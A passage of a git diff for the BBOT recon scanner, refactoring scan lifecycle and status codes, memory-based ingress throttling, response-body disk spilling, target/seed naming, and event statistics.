-        self._status_code = 0
-
-        self.modules = OrderedDict({})
-        self._modules_loaded = False
-        self.dummy_modules = {}
 
+        # dispatcher
         if dispatcher is None:
             from .dispatcher import Dispatcher
 
@@ -204,31 +244,40 @@ def __init__(
         self.scope_report_distance = int(self.scope_config.get("report_distance", 1))
 
         # web config
-        self.web_config = self.config.get("web", {})
-        self.web_spider_distance = self.web_config.get("spider_distance", 0)
-        self.web_spider_depth = self.web_config.get("spider_depth", 1)
-        self.web_spider_links_per_page = self.web_config.get("spider_links_per_page", 20)
-        max_redirects = self.web_config.get("http_max_redirects", 5)
+        web_config = self.config.get("web", {})
+        self.web_spider_distance = web_config.get("spider_distance", 0)
+        self.web_spider_depth = web_config.get("spider_depth", 1)
+        self.web_spider_links_per_page = web_config.get("spider_links_per_page", 20)
+        max_redirects = web_config.get("http_max_redirects", 5)
         self.web_max_redirects = max(max_redirects, self.web_spider_distance)
-        self.http_proxy = self.web_config.get("http_proxy", "")
-        self.http_timeout = self.web_config.get("http_timeout", 10)
-        self.httpx_timeout = self.web_config.get("httpx_timeout", 5)
-        self.http_retries = self.web_config.get("http_retries", 1)
-        self.httpx_retries = self.web_config.get("httpx_retries", 1)
-        self.useragent = self.web_config.get("user_agent", "BBOT")
+        self.http_proxy = web_config.get("http_proxy", "")
+        self.http_proxy_exclude = web_config.get("http_proxy_exclude", [])
+        self.http_timeout = web_config.get("http_timeout", 10)
+        self.http_timeout_infrastructure = web_config.get("http_timeout_infrastructure", 10)
+        self.http_retries = web_config.get("http_retries", 1)
+        self.useragent = f"{web_config.get('user_agent', 'BBOT')} {web_config.get('user_agent_suffix') or ''}".strip()
         # custom HTTP headers warning
-        self.custom_http_headers = self.web_config.get("http_headers", {})
+        self.custom_http_headers = web_config.get("http_headers", {})
         if self.custom_http_headers:
             self.warning(
-                "You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx."
+                "You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by blasthttp."
             )
         # custom HTTP cookies warning
-        self.custom_http_cookies = self.web_config.get("http_cookies", {})
+        self.custom_http_cookies = web_config.get("http_cookies", {})
         if self.custom_http_cookies:
             self.warning(
-                "You have enabled custom HTTP cookies. These will be attached to all in-scope requests and all requests made by httpx."
+                "You have enabled custom HTTP cookies. These will be attached to all in-scope requests and all requests made by blasthttp."
             )
 
+        # HTTP_RESPONSE body disk-spill — keeps body bytes off the Python heap.
+        # See bbot/core/event/spill.py for design notes. Created in _prep()
+        # once temp_dir exists.
+        body_spill_config = web_config.get("body_spill", {})
+        self.body_spill_enabled = bool(body_spill_config.get("enabled", True))
+        self.body_spill_cache_mb = int(body_spill_config.get("cache_mb", 512))
+        self.body_spill_compress = bool(body_spill_config.get("compress", True))
+        self.body_spill_store = None
+
         # url file extensions
         self.url_extension_special = {e.lower() for e in self.config.get("url_extension_special", [])}
         self.url_extension_blacklist = {e.lower() for e in self.config.get("url_extension_blacklist", [])}
@@ -243,18 +292,19 @@ def __init__(
         # how often to print scan status
         self.status_frequency = self.config.get("status_frequency", 15)
 
+        # memory-pressure ingress throttle: when system memory exceeds max_mem_percent,
+        # ScanIngress sleeps _ingress_delay seconds before pulling each event.
+        # delay is recomputed every status tick from current memory.
+        self.max_mem_percent = self.config.get("max_mem_percent", 90)
+        self._ingress_delay = 0.0
+
         from .stats import ScanStats
 
         self.stats = ScanStats(self)
 
-        self._prepped = False
-        self._finished_init = False
-        self._new_activity = False
-        self._cleanedup = False
-        self._omitted_event_types = None
-
         self.init_events_task = None
         self.ticker_task = None
+        self._stop_task = None
         self.dispatcher_tasks = []
 
         self._stopping = False
@@ -268,27 +318,67 @@ def __init__(
         self.__log_handlers = None
         self._log_handler_backup = []
 
+        # update the master PID
+        SHARED_INTERPRETER_STATE.update_scan_pid()
+
     async def _prep(self):
         """
-        Creates the scan's output folder, loads its modules, and calls their .setup() methods.
+        Expands async seed types (e.g. ASN → IP ranges), evaluates preset conditions,
+        creates the scan's output folder, loads its modules, and calls their .setup() methods.
         """
+        # expand async seed types (e.g. ASN -> IP ranges)
+        try:
+            await self.preset.target.generate_children(helpers=self.helpers)
+        except ASNResolutionError as e:
+            raise ScanError(
+                f"Failed to resolve ASN target ({e}). "
+                f"The bbot.io ASN API could not be reached; this may be due to regional network restrictions or a temporary outage. "
+                f"To scan this ASN's networks, look up its prefixes (e.g. at bgp.tools) and pass them directly: bbot -t 1.2.3.0/24 5.6.0.0/16"
+            )
 
-        # update the master PID
-        SHARED_INTERPRETER_STATE.update_scan_pid()
+        # evaluate preset conditions (may abort the scan)
+        if self.preset.conditions:
+            from .preset.conditions import ConditionEvaluator
+
+            evaluator = ConditionEvaluator(self.preset)
+            evaluator.evaluate()
 
         self.helpers.mkdir(self.home)
+        self.helpers.mkdir(self.temp_dir)
+
+        if self.body_spill_enabled and self.body_spill_store is None:
+            from bbot.core.event.spill import BodySpillStore
+
+            self.body_spill_store = BodySpillStore(
+                self.temp_dir / "bodies",
+                cache_bytes=self.body_spill_cache_mb * 1024 * 1024,
+                compress=self.body_spill_compress,
+            )
+
+        if not self._modules_loaded:
+            self.modules = OrderedDict({})
+            self.dummy_modules = {}
+
         if not self._prepped:
+            # clear modules for fresh start
+            self.modules.clear()
+            self.dummy_modules.clear()
+
             # save scan preset
+            redact_secrets = self.config.get("redact_secrets", True)
             with open(self.home / "preset.yml", "w") as f:
-                f.write(self.preset.to_yaml())
+                if redact_secrets:
+                    f.write("# Secrets (API keys, tokens, etc.) have been redacted.\n")
+                    f.write('# To include secrets, set "redact_secrets: false" in your preset or BBOT config.\n\n')
+                f.write(self.preset.to_yaml(redact_secrets=redact_secrets))
 
             # log scan overview
-            start_msg = f"Scan seeded with {len(self.seeds):,} targets"
+            start_msg = f"Scan seeded with {len(self.seeds.event_seeds):,} seed(s)"
             details = []
-            if self.whitelist != self.target:
-                details.append(f"{len(self.whitelist):,} in whitelist")
+            if self.target.target:
+                details.append(f"{len(self.target.target.event_seeds):,} in target")
             if self.blacklist:
-                details.append(f"{len(self.blacklist):,} in blacklist")
+                details.append(f"{len(self.blacklist.event_seeds):,} in blacklist")
             if details:
                 start_msg += f" ({', '.join(details)})"
             self.hugeinfo(start_msg)
@@ -312,9 +402,9 @@ async def _prep(self):
                 intercept_module._incoming_event_queue = interqueue
                 prev_intercept_module._outgoing_event_queue = interqueue
 
-            # abort if there are no output modules
+            # abort if there are no output modules (unless the user explicitly excluded them)
             num_output_modules = len([m for m in self.modules.values() if m._type == "output"])
-            if num_output_modules < 1:
+            if num_output_modules < 1 and not self.preset.exclude_output_modules:
                 raise ScanError("Failed to load output modules. Aborting.")
             # abort if any of the module .setup()s hard-failed (i.e. they errored or returned False)
             total_failed = len(hard_failed + soft_failed)
@@ -323,9 +413,10 @@ async def _prep(self):
                 self._fail_setup(msg)
 
             total_modules = total_failed + len(self.modules)
-            success_msg = f"Setup succeeded for {len(self.modules):,}/{total_modules:,} modules."
+            success_msg = f"Setup succeeded for {len(self.modules) - 2:,}/{total_modules - 2:,} modules."
 
             self.success(success_msg)
+            self._modules_loaded = True
             self._prepped = True
 
     def start(self):
@@ -341,11 +432,12 @@ async def async_start_without_generator(self):
             pass
 
     async def async_start(self):
-        """ """
-        self.start_time = datetime.now()
-        self.root_event.data["started_at"] = self.start_time.isoformat()
+        self.start_time = datetime.now(ZoneInfo("UTC"))
         try:
-            await self._prep()
+            if not self._prepped:
+                await self._prep()
+            await self._set_status(SCAN_STATUS_STARTING)
+            self.root_event.data["started_at"] = self.start_time.timestamp()
 
             self._start_log_handlers()
             self.trace(f"Ran BBOT {__version__} at {self.start_time}, command: {' '.join(sys.argv)}")
@@ -360,18 +452,16 @@ async def async_start(self):
                 self._status_ticker(self.status_frequency), name=f"{self.name}._status_ticker()"
             )
 
-            self.status = "STARTING"
-
             if not self.modules:
                 self.error("No modules loaded")
-                self.status = "FAILED"
+                await self._set_status(SCAN_STATUS_FAILED)
                 return
             else:
                 self.hugesuccess(f"Starting scan {self.name}")
 
             await self.dispatcher.on_start(self)
 
-            self.status = "RUNNING"
+            await self._set_status(SCAN_STATUS_RUNNING)
             self._start_modules()
             self.verbose(f"{len(self.modules):,} modules started")
 
@@ -401,8 +491,6 @@ async def async_start(self):
                     new_activity = await self.finish()
                     if not new_activity:
                         self._success = True
-                        scan_finish_event = await self._mark_finished()
-                        yield scan_finish_event
                         break
 
                 await asyncio.sleep(0.1)
@@ -411,7 +499,7 @@ async def async_start(self):
 
         except BaseException as e:
             if self.helpers.in_exception_chain(e, (KeyboardInterrupt, asyncio.CancelledError)):
-                self.stop()
+                await self.async_stop()
                 self._success = True
             else:
                 try:
@@ -426,16 +514,20 @@ async def async_start(self):
                     self.critical(f"Unexpected error during scan:\n{traceback.format_exc()}")
 
         finally:
+            scan_finish_event = await self._mark_finished()
+            yield scan_finish_event
             tasks = self._cancel_tasks()
             self.debug(f"Awaiting {len(tasks):,} tasks")
-            for task in tasks:
-                # self.debug(f"Awaiting {task}")
+            if tasks:
                 with contextlib.suppress(BaseException):
-                    await asyncio.wait_for(task, timeout=0.1)
+                    await asyncio.wait_for(
+                        asyncio.gather(*tasks, return_exceptions=True),
+                        timeout=2,
+                    )
             self.debug(f"Awaited {len(tasks):,} tasks")
             await self._report()
             await self._cleanup()
-
+            # report on final scan status
             await self.dispatcher.on_finish(self)
 
             self._stop_log_handlers()
@@ -449,34 +541,44 @@ async def async_start(self):
                 log_fn(self._scan_finish_status_message)
 
     async def _mark_finished(self):
-        if self.status == "ABORTING":
-            status = "ABORTED"
+        if self._marked_finished:
+            return
+
+        self._marked_finished = True
+
+        if self._status_code == SCAN_STATUS_ABORTING:
+            status_code = SCAN_STATUS_ABORTED
         elif not self._success:
-            status = "FAILED"
+            status_code = SCAN_STATUS_FAILED
         else:
-            status = "FINISHED"
+            status_code = SCAN_STATUS_FINISHED
+
+        status = get_scan_status_name(status_code)
 
-        self.end_time = datetime.now()
+        self.end_time = datetime.now(ZoneInfo("UTC"))
         self.duration = self.end_time - self.start_time
         self.duration_seconds = self.duration.total_seconds()
         self.duration_human = self.helpers.human_timedelta(self.duration)
 
-        self._scan_finish_status_message = f"Scan {self.name} completed in {self.duration_human} with status {status}"
+        self._scan_finish_status_message = (
+            f"Scan {self.name} completed in {self.duration_human} with status {self.status}"
+        )
 
         scan_finish_event = self.finish_event(self._scan_finish_status_message, status)
 
-        # queue final scan event with output modules
-        output_modules = [m for m in self.modules.values() if m._type == "output" and m.name != "python"]
-        for m in output_modules:
-            await m.queue_event(scan_finish_event)
-        # wait until output modules are flushed
-        while 1:
-            modules_finished = all(m.finished for m in output_modules)
-            if modules_finished:
-                break
-            await asyncio.sleep(0.05)
-
-        self.status = status
+        if not self._stopping:
+            # queue final scan event with output modules
+            output_modules = [m for m in self.modules.values() if m._type == "output"]
+            for m in output_modules:
+                await m.queue_event(scan_finish_event)
+            # wait until output modules are flushed
+            while 1:
+                modules_finished = all([m.finished for m in output_modules])
+                if modules_finished:
+                    break
+                await asyncio.sleep(0.05)
+
+        await self._set_status(status)
         return scan_finish_event
 
     def _start_modules(self):
@@ -515,11 +617,12 @@ async def setup_modules(self, remove_failed=True, deps_only=False):
                 self.debug(f"Setup succeeded for {module.name} ({msg})")
                 succeeded.append(module.name)
             elif status is False:
-                self.warning(f"Setup hard-failed for {module.name}: {msg}")
+                self.error(f"Setup hard-failed for {module.name}: {msg}")
                 self.modules[module.name].set_error_state()
                 hard_failed.append(module.name)
             else:
-                self.info(f"Setup soft-failed for {module.name}: {msg}")
+                log_fn = self.warning if module._type == "output" else self.info
+                log_fn(f"Setup soft-failed for {module.name}: {msg}")
                 soft_failed.append(module.name)
             if (not status) and (module._intercept or remove_failed):
                 # if a intercept module fails setup, we always remove it
@@ -555,8 +658,18 @@ async def load_modules(self):
             After all modules are loaded, they are sorted by `_priority` and stored in the `modules` dictionary.
         """
         if not self._modules_loaded:
+            # If the preset hasn't been baked yet but modules have been
+            # manually attached (e.g. in tests), skip the automatic loading
+            # pipeline and operate only on the existing modules.
+            if self.preset is None:
+                if not self.modules:
+                    self.warning("No modules to load")
+                self._modules_loaded = True
+                return
+
             if not self.preset.modules:
                 self.warning("No modules to load")
+                self._modules_loaded = True
                 return
 
             if not self.preset.scan_modules:
@@ -630,7 +743,7 @@ def kill_module(self, module_name, message=None):
         if module._intercept:
             self.warning(f'Cannot kill module "{module_name}" because it is critical to the scan')
             return
-        module.set_error_state(message=message, clear_outgoing_queue=True)
+        module.set_error_state(message=message, clear_outgoing_queue=True, log_level="info")
         for proc in module._proc_tracker:
             with contextlib.suppress(Exception):
                 proc.send_signal(SIGINT)
@@ -647,7 +760,7 @@ def num_queued_events(self):
             total += len(q._queue)
         return total
 
-    def modules_status(self, _log=False):
+    def modules_status(self, _log=False, detailed=False):
         finished = True
         status = {"modules": {}}
 
@@ -668,14 +781,28 @@ def modules_status(self, _log=False):
 
         modules_errored = [m for m, s in status["modules"].items() if s["errored"]]
 
-        max_mem_percent = 90
         mem_status = self.helpers.memory_status()
-        # abort if we don't have the memory
         mem_percent = mem_status.percent
-        if mem_percent > max_mem_percent:
-            free_memory = mem_status.available
-            free_memory_human = self.helpers.bytes_to_human(free_memory)
-            self.warning(f"System memory is at {mem_percent:.1f}% ({free_memory_human} remaining)")
+        prev_delay = self._ingress_delay
+        new_delay = self._compute_ingress_delay(mem_percent)
+        # if no module has work in flight or queued, ingress is the only drain — don't throttle it
+        drain_mode = not any(
+            (m.running or m.outgoing_event_queue.qsize() > 0 or m.num_incoming_events > 0)
+            for m in self.modules.values()
+            if not m._intercept
+        )
+        if drain_mode:
+            new_delay = 0.0
+        self._ingress_delay = new_delay
+        if mem_percent > self.max_mem_percent:
+            free_memory_human = self.helpers.bytes_to_human(mem_status.available)
+            if prev_delay == 0.0 and new_delay > 0.0:
+                self.warning(
+                    f"System memory is at {mem_percent:.1f}% ({free_memory_human} remaining); "
+                    f"throttling ingress ({new_delay:.1f}s/event) to let the pipeline drain"
+                )
+        elif prev_delay > 0.0 and new_delay == 0.0:
+            self.hugesuccess(f"System memory dropped to {mem_percent:.1f}%; ingress throttle cleared")
 
         if _log:
             modules_status = []
@@ -694,11 +821,9 @@ def modules_status(self, _log=False):
                 self.info(f"{self.name}: Modules running (incoming:processing:outgoing) {modules_status_str}")
             else:
                 self.info(f"{self.name}: No modules running")
-            event_type_summary = sorted(self.stats.events_emitted_by_type.items(), key=lambda x: x[-1], reverse=True)
+            event_type_summary = self.stats.event_type_summary()
             if event_type_summary:
-                self.info(
-                    f"{self.name}: Events produced so far: {', '.join([f'{k}: {v}' for k, v in event_type_summary])}"
-                )
+                self.info(f"{self.name}: Events produced so far: {', '.join(event_type_summary)}")
             else:
                 self.info(f"{self.name}: No events produced yet")
 
@@ -717,7 +842,7 @@ def modules_status(self, _log=False):
                     f"{self.name}: No events in queue ({self.stats.speedometer.speed:,} processed in the past {self.status_frequency} seconds)"
                 )
 
-            if self.log_level <= logging.DEBUG:
+            if detailed or self.log_level <= logging.DEBUG:
                 # status debugging
                 scan_active_status = []
                 scan_active_status.append(f"scan._finished_init: {self._finished_init}")
@@ -750,7 +875,16 @@ def modules_status(self, _log=False):
 
         return status
 
-    def stop(self):
+    def _compute_ingress_delay(self, mem_percent):
+        # 0s at threshold, scaling linearly to 5s at threshold+5 (capped at 95%).
+        if mem_percent <= self.max_mem_percent:
+            return 0.0
+        cap = min(self.max_mem_percent + 5, 95)
+        overshoot_range = max(cap - self.max_mem_percent, 1)
+        overshoot = min(mem_percent - self.max_mem_percent, overshoot_range)
+        return (overshoot / overshoot_range) * 5.0
+
+    async def async_stop(self):
         """Stops the in-progress scan and performs necessary cleanup.
 
         This method sets the scan's status to "ABORTING," cancels any pending tasks, and drains event queues. It also kills child processes spawned during the scan.
@@ -760,7 +894,7 @@ def stop(self):
         """
         if not self._stopping:
             self._stopping = True
-            self.status = "ABORTING"
+            await self._set_status(SCAN_STATUS_ABORTING)
             self.hugewarning("Aborting scan")
             self.trace()
             self._cancel_tasks()
@@ -769,6 +903,10 @@ def stop(self):
             self._drain_queues()
             self.helpers.kill_children()
             self.debug("Finished aborting scan")
+            await self._set_status(SCAN_STATUS_ABORTED)
+
+    def stop(self):
+        self._stop_task = asyncio.create_task(self.async_stop())
 
     async def finish(self):
         """Finalizes the scan by invoking the `finished()` method on all active modules if new activity is detected.
@@ -785,7 +923,7 @@ async def finish(self):
         # if new events were generated since last time we were here
         if self._new_activity:
             self._new_activity = False
-            self.status = "FINISHING"
+            await self._set_status(SCAN_STATUS_FINISHING)
             # Trigger .finished() on every module and start over
             log.info("Finishing scan")
             for module in self.modules.values():
@@ -807,13 +945,13 @@ def _drain_queues(self):
         """
         self.debug("Draining queues")
         for module in self.modules.values():
-            with contextlib.suppress(asyncio.queues.QueueEmpty):
-                while 1:
-                    if module.incoming_event_queue not in (None, False):
+            if module.incoming_event_queue not in (None, False):
+                with contextlib.suppress(asyncio.queues.QueueEmpty):
+                    while 1:
                         module.incoming_event_queue.get_nowait()
-            with contextlib.suppress(asyncio.queues.QueueEmpty):
-                while 1:
-                    if module.outgoing_event_queue not in (None, False):
+            if module.outgoing_event_queue not in (None, False):
+                with contextlib.suppress(asyncio.queues.QueueEmpty):
+                    while 1:
                         module.outgoing_event_queue.get_nowait()
         self.debug("Finished draining queues")
 
@@ -839,11 +977,22 @@ def _cancel_tasks(self):
         # ticker
         if self.ticker_task:
             tasks.append(self.ticker_task)
-        # dispatcher
-        tasks += self.dispatcher_tasks
+        # stop task
+        if self._stop_task:
+            tasks.append(self._stop_task)
+
         self.helpers.cancel_tasks_sync(tasks)
-        # process pool
-        self.helpers.process_pool.shutdown(cancel_futures=True)
+        # kill all pool workers and shut down (same logic as _reset_process_pool
+        # but synchronous, since we're tearing down the scan)
+        pool = self.helpers.process_pool
+        workers = list((pool._processes or {}).values())
+        for proc in workers:
+            if proc.is_alive():
+                proc.terminate()
+        pool.shutdown(wait=False, cancel_futures=True)
+        for proc in workers:
+            if proc.is_alive():
+                proc.kill()
         self.debug("Finished cancelling all scan tasks")
         return tasks
 
@@ -869,7 +1018,8 @@ async def _cleanup(self):
 
         This method is called once at the end of the scan to perform resource cleanup
         tasks. It is executed regardless of whether the scan was aborted or completed
-        successfully. The scan status is set to "CLEANING_UP" during the execution.
+        successfully.
+
         After calling the `cleanup()` method for each module, it performs additional
         cleanup tasks such as removing the scan's home directory if empty and cleaning
         old scans.
@@ -880,26 +1030,28 @@ async def _cleanup(self):
         # clean up self
         if not self._cleanedup:
             self._cleanedup = True
-            self.status = "CLEANING_UP"
-            # clean up dns engine
-            if self.helpers._dns is not None:
-                await self.helpers.dns.shutdown()
-            # clean up web engine
-            if self.helpers._web is not None:
-                await self.helpers.web.shutdown()
             # clean up modules
             for mod in self.modules.values():
                 await mod._cleanup()
-            with contextlib.suppress(Exception):
-                self.home.rmdir()
-            self.helpers.rm_rf(self.temp_dir, ignore_errors=True)
+            # clean up dns engine
+            if self.helpers._dns is not None:
+                await self.helpers.dns.shutdown()
+            # In some test paths, `_prep()` is never called, so `home` and
+            # `temp_dir` may not exist. Treat those as best-effort cleanups.
+            home = getattr(self, "home", None)
+            if home is not None:
+                with contextlib.suppress(Exception):
+                    home.rmdir()
+            temp_dir = getattr(self, "temp_dir", None)
+            if temp_dir is not None:
+                self.helpers.rm_rf(temp_dir, ignore_errors=True)
             self.helpers.clean_old_scans()
 
     def in_scope(self, *args, **kwargs):
         return self.preset.in_scope(*args, **kwargs)
 
-    def whitelisted(self, *args, **kwargs):
-        return self.preset.whitelisted(*args, **kwargs)
+    def in_target(self, *args, **kwargs):
+        return self.preset.in_target(*args, **kwargs)
 
     def blacklisted(self, *args, **kwargs):
         return self.preset.blacklisted(*args, **kwargs)
@@ -912,6 +1064,10 @@ def core(self):
     def config(self):
         return self.preset.core.config
 
+    @property
+    def web_config(self):
+        return self.config.get("web", {})
+
     @property
     def target(self):
         return self.preset.target
@@ -920,10 +1076,6 @@ def target(self):
     def seeds(self):
         return self.preset.seeds
 
-    @property
-    def whitelist(self):
-        return self.preset.whitelist
-
     @property
     def blacklist(self):
         return self.preset.blacklist
@@ -946,19 +1098,19 @@ def stopping(self):
 
     @property
     def stopped(self):
-        return self._status_code > 5
+        return self._status_code >= SCAN_STATUS_ABORTED
 
     @property
     def running(self):
-        return 0 < self._status_code < 4
+        return SCAN_STATUS_STARTING <= self._status_code <= SCAN_STATUS_FINISHING
 
     @property
     def aborting(self):
-        return 5 <= self._status_code <= 6
+        return SCAN_STATUS_ABORTING <= self._status_code <= SCAN_STATUS_ABORTED
 
     @property
     def status(self):
-        return self._status
+        return get_scan_status_name(self._status_code)
 
     @property
     def omitted_event_types(self):
@@ -966,29 +1118,22 @@ def omitted_event_types(self):
             self._omitted_event_types = self.config.get("omit_event_types", [])
         return self._omitted_event_types
 
-    @status.setter
-    def status(self, status):
-        """
-        Block setting after status has been aborted
-        """
-        status = str(status).strip().upper()
-        if status in self._status_codes:
-            if self.status == "ABORTING" and not status == "ABORTED":
-                self.debug(f'Attempt to set invalid status "{status}" on aborted scan')
-            else:
-                if status != self._status:
-                    self._status = status
-                    self._status_code = self._status_codes[status]
-                    self.dispatcher_tasks.append(
-                        asyncio.create_task(
-                            self.dispatcher.catch(self.dispatcher.on_status, self._status, self.id),
-                            name=f"{self.name}.dispatcher.on_status({status})",
-                        )
-                    )
-                else:
-                    self.debug(f'Scan status is already "{status}"')
-        else:
-            self.debug(f'Attempt to set invalid status "{status}" on scan')
+    async def _set_status(self, status):
+        try:
+            status_code = get_scan_status_code(status)
+            status = get_scan_status_name(status_code)
+        except ValueError:
+            self.warning(f'Attempt to set invalid status "{status}" on scan')
+
+        self.debug(f"Setting scan status from {self.status} to {status}")
+        # if the status isn't progressing forward, skip setting it
+        if status_code <= self._status_code:
+            self.debug(f'Attempt to set invalid status "{status}" on scan with status "{self.status}"')
+            return
+
+        self._status_code = status_code
+        with self.dispatcher.catch():
+            await self.dispatcher.on_status(self.status, self.id)
 
     def make_event(self, *args, **kwargs):
         kwargs["scan"] = self
@@ -1015,22 +1160,26 @@ def root_event(self):
               "tags": [
                 "distance-0"
               ],
-              "module": "TARGET",
-              "module_sequence": "TARGET"
+              "module": "SEED",
+              "module_sequence": "SEED"
             }
             ```
         """
         if self._root_event is None:
             self._root_event = self.make_root_event(f"Scan {self.name} started at {self.start_time}")
         self._root_event.data["status"] = self.status
+        self._root_event.data["status_code"] = self._status_code
         return self._root_event
 
-    def finish_event(self, context=None, status=None):
+    def finish_event(self, context=None, status_code=None):
         if self._finish_event is None:
-            if context is None or status is None:
-                raise ValueError("Must specify context and status")
+            if context is None or status_code is None:
+                raise ValueError("Must specify context and status_code")
             self._finish_event = self.make_root_event(context)
+            status_code = get_scan_status_code(status_code)
+            status = get_scan_status_name(status_code)
             self._finish_event.data["status"] = status
+            self._finish_event.data["status_code"] = status_code
         return self._finish_event
 
     def make_root_event(self, context):
@@ -1039,7 +1188,7 @@ def make_root_event(self, context):
         root_event.scope_distance = 0
         root_event.parent = root_event
         root_event._dummy = False
-        root_event.module = self._make_dummy_module(name="TARGET", _type="TARGET")
+        root_event.module = self._make_dummy_module(name="SEED", _type="SEED")
         return root_event
 
     @property
@@ -1048,13 +1197,13 @@ def dns_strings(self):
         A list of DNS hostname strings generated from the scan target
         """
         if self._dns_strings is None:
-            dns_whitelist = {t.host for t in self.whitelist if t.host and isinstance(t.host, str)}
-            dns_whitelist = sorted(dns_whitelist, key=len)
-            dns_whitelist_set = set()
+            dns_target = {t.host for t in self.target.target if t.host and isinstance(t.host, str)}
+            dns_target = sorted(dns_target, key=len)
+            dns_target_set = set()
             dns_strings = []
-            for t in dns_whitelist:
-                if not any(x in dns_whitelist_set for x in self.helpers.domain_parents(t, include_self=True)):
-                    dns_whitelist_set.add(t)
+            for t in dns_target:
+                if not any(x in dns_target_set for x in self.helpers.domain_parents(t, include_self=True)):
+                    dns_target_set.add(t)
                     dns_strings.append(t)
             self._dns_strings = dns_strings
         return self._dns_strings
@@ -1128,7 +1277,7 @@ async def dns_yara_rules(self):
             if self.dns_yara_rules_uncompiled is not None:
                 import yara
 
-                self._dns_yara_rules = await self.helpers.run_in_executor(
+                self._dns_yara_rules = await self.helpers.run_in_executor_cpu(
                     yara.compile, source="\n".join(self.dns_yara_rules_uncompiled.values())
                 )
         return self._dns_yara_rules
@@ -1144,7 +1293,7 @@ async def extract_in_scope_hostnames(self, s):
         matches = set()
         dns_yara_rules = await self.dns_yara_rules()
         if dns_yara_rules is not None:
-            for match in await self.helpers.run_in_executor(dns_yara_rules.match, data=s):
+            for match in await self.helpers.run_in_executor_cpu(dns_yara_rules.match, data=s):
                 for string in match.strings:
                     for instance in string.instances:
                         matches.add(str(instance))
@@ -1153,7 +1302,7 @@ async def extract_in_scope_hostnames(self, s):
     @property
     def json(self):
         """
-        A dictionary representation of the scan including its name, ID, targets, whitelist, blacklist, and modules
+        A dictionary representation of the scan including its name, ID, targets, target, blacklist, and modules
         """
         j = {}
         for i in ("id", "name"):
@@ -1163,9 +1312,9 @@ def json(self):
         j["target"] = self.preset.target.json
         j["preset"] = self.preset.to_dict(redact_secrets=True)
         if self.start_time is not None:
-            j["started_at"] = self.start_time.isoformat()
+            j["started_at"] = self.start_time.timestamp()
         if self.end_time is not None:
-            j["finished_at"] = self.end_time.isoformat()
+            j["finished_at"] = self.end_time.timestamp()
         if self.duration is not None:
             j["duration_seconds"] = self.duration_seconds
         if self.duration_human is not None:
@@ -1257,7 +1406,7 @@ def _log_handlers(self):
             error_handler = GzipRotatingFileHandler(
                 str(self.home / "error.log"), maxBytes=1024 * 1024 * 100, backupCount=100
             )
-            error_handler.addFilter(lambda x: x.levelno == logging.TRACE or x.levelno >= logging.ERROR)
+            error_handler.addFilter(lambda x: x.levelno >= logging.ERROR and x.levelno != logging.TRACE)
             self.__log_handlers = [main_handler, debug_handler, error_handler]
         return self.__log_handlers
 
@@ -1299,9 +1448,9 @@ def _load_modules(self, modules):
                     self.verbose(f'Loaded module "{module_name}"')
                     continue
                 except Exception:
-                    self.warning(f"Failed to load module {module_class}")
+                    self.error(f"Failed to load module {module_class}")
             else:
-                self.warning(f'Failed to load unknown module "{module_name}"')
+                self.error(f'Failed to load unknown module "{module_name}"')
             failed.add(module_name)
         return loaded_modules, failed
 
diff --git a/bbot/scanner/stats.py b/bbot/scanner/stats.py
index 38d95032f7..7740bc0877 100644
--- a/bbot/scanner/stats.py
+++ b/bbot/scanner/stats.py
@@ -4,6 +4,10 @@
 
 log = logging.getLogger("bbot.scanner.stats")
 
+_VERIFIED_TO_UNVERIFIED = {
+    "URL": "URL_UNVERIFIED",
+}
+
 
 def _increment(d, k):
     try:
@@ -12,6 +16,19 @@ def _increment(d, k):
         d[k] = 1
 
 
+class EventTypeStats:
+    """Tracks count for an event type and formats it for the status line."""
+
+    def __init__(self):
+        self.count = 0
+
+    def increment(self, event):
+        self.count += 1
+
+    def format(self, event_type):
+        return f"{event_type}: {self.count}"
+
+
 class SpeedCounter:
     """
     A simple class for keeping a rolling tally of the number of events inside a specific time window
@@ -41,11 +58,44 @@ def __init__(self, scan):
         self.scan = scan
         self.module_stats = {}
         self.events_emitted_by_type = {}
+        self._type_stats = {}
         self.speedometer = SpeedCounter(scan.status_frequency)
 
+    def _get_type_stats(self, event):
+        event_type = event.type
+        try:
+            return self._type_stats[event_type]
+        except KeyError:
+            stats_class = getattr(event, "_stats_class", None) or EventTypeStats
+            self._type_stats[event_type] = stats_class()
+            return self._type_stats[event_type]
+
+    def event_type_summary(self):
+        """Return a formatted list of event type counts, sorted by count descending."""
+        entries = sorted(self._type_stats.items(), key=lambda x: x[1].count, reverse=True)
+        return [stats.format(event_type) for event_type, stats in entries if stats.count > 0]
+
+    def _get_attribution_module(self, event):
+        """Return the module that should get credit for producing this event.
+
+        For verified event types (e.g. URL verified from URL_UNVERIFIED), credit
+        goes to the module that originally discovered the unverified form,
+        unless the discovering module doesn't declare the unverified type in its produced_events.
+        """
+        unverified_type = _VERIFIED_TO_UNVERIFIED.get(event.type)
+        if unverified_type is not None:
+            parent = getattr(event, "parent", None)
+            if parent is not None and getattr(parent, "type", None) == unverified_type:
+                parent_module = getattr(parent, "module", None)
+                if parent_module is not None and unverified_type in getattr(parent_module, "produced_events", []):
+                    return parent_module
+        return event.module
+
     def event_produced(self, event):
         _increment(self.events_emitted_by_type, event.type)
-        module_stat = self.get(event.module)
+        self._get_type_stats(event).increment(event)
+        module = self._get_attribution_module(event)
+        module_stat = self.get(module)
         if module_stat is not None:
             module_stat.increment_produced(event)
 
@@ -72,7 +122,7 @@ def table(self):
         header = ["Module", "Produced", "Consumed"]
         table = []
         for mname, mstat in self.module_stats.items():
-            if mname == "TARGET" or mstat.module._stats_exclude:
+            if mname == "SEED" or mstat.module._stats_exclude:
                 continue
             table_row = []
             table_row.append(mname)
diff --git a/bbot/scanner/target.py b/bbot/scanner/target.py
index c27fde8b29..78fcb144f4 100644
--- a/bbot/scanner/target.py
+++ b/bbot/scanner/target.py
@@ -1,108 +1,196 @@
 import logging
 import regex as re
-from hashlib import sha1
 from radixtarget import RadixTarget
-from radixtarget.helpers import host_size_key
+from radixtarget import host_size_key
+
+
+def _fnv1a_64(data_strings):
+    """FNV-1a 64-bit hash over sorted strings. Deterministic, pure Python."""
+    h = 0xCBF29CE484222325
+    for s in data_strings:
+        for b in s.encode():
+            h ^= b
+            h = (h * 0x100000001B3) & 0xFFFFFFFFFFFFFFFF
+    return h
+
 
 from bbot.errors import *
 from bbot.core.event import is_event
 from bbot.core.event.helpers import EventSeed, BaseEventSeed
-from bbot.core.helpers.misc import is_dns_name, is_ip, is_ip_type
